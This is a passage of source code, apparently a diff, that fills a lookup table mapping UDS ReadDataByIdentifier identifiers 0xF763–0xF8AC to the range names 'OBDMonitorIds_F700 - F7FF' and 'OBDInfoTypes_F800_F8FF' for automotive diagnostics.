"OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf763] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf764] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf765] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf766] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf767] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf768] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf769] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf76a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf76b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf76c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf76d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf76e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf76f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf770] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf771] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf772] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf773] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf774] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf775] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf776] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf777] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf778] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf779] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf77a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf77b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf77c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf77d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf77e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf77f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf780] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf781] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf782] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf783] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf784] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf785] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf786] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf787] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf788] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf789] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf78a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf78b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf78c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf78d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf78e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf78f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf790] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf791] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf792] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf793] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf794] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf795] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf796] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf797] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf798] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf799] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf79a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf79b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf79c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf79d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf79e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf79f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a0] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a1] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a2] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a3] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a4] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a5] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a6] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a7] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a8] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7a9] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7aa] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ab] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ac] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ad] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ae] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7af] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b0] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b1] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b2] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b3] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b4] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b5] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b6] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b7] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b8] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7b9] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ba] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7bb] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7bc] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7bd] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7be] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7bf] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c0] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c1] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c2] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c3] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c4] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c5] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c6] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c7] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c8] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7c9] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ca] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7cb] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7cc] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7cd] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ce] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7cf] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d0] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d1] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d2] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d3] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d4] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d5] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d6] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d7] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d8] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7d9] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7da] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7db] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7dc] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7dd] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7de] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7df] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e0] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e1] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e2] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e3] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e4] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e5] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e6] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e7] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e8] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7e9] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ea] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7eb] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ec] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ed] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ee] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ef] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f0] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f1] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f2] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f3] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f4] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f5] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f6] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f7] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f8] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7f9] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7fa] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7fb] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7fc] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7fd] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7fe] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf7ff] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf800] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf801] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf802] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf803] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf804] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf805] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf806] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf807] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf808] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf809] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf80a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf80b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf80c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf80d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf80e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf80f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf810] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf811] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf812] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf813] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf814] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf815] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf816] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf817] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf818] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf819] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf81a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf81b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf81c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf81d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf81e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf81f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf820] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf821] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf822] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf823] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf824] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf825] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf826] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf827] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf828] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf829] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf82a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf82b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf82c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf82d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf82e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf82f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf830] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf831] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf832] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf833] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf834] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf835] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf836] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf837] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf838] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf839] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf83a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf83b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf83c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf83d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf83e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf83f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf840] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf841] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf842] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf843] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf844] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf845] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf846] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf847] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf848] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf849] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf84a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf84b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf84c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf84d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf84e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf84f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf850] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf851] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf852] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf853] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf854] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf855] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf856] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf857] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf858] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf859] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf85a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf85b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf85c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf85d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf85e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf85f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf860] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf861] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf862] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf863] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf864] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf865] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf866] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf867] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf868] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf869] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf86a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf86b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf86c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf86d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf86e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf86f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf870] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf871] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf872] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf873] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf874] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf875] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf876] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf877] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf878] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf879] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf87a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf87b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf87c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf87d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf87e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf87f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf880] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf881] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf882] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf883] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf884] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf885] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf886] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf887] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf888] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf889] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf88a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf88b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf88c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf88d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf88e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf88f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf890] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf891] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf892] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf893] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf894] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf895] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf896] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf897] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf898] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf899] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf89a] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf89b] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf89c] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf89d] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf89e] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf89f] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a0] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a1] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a2] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a3] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a4] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a5] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a6] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a7] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a8] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8a9] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8aa] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ab] = "OBDInfoTypes_F800_F8FF" +UDS_RDBI.dataIdentifiers[0xf8ac] = "OBDInfoTypes_F800_F8FF" 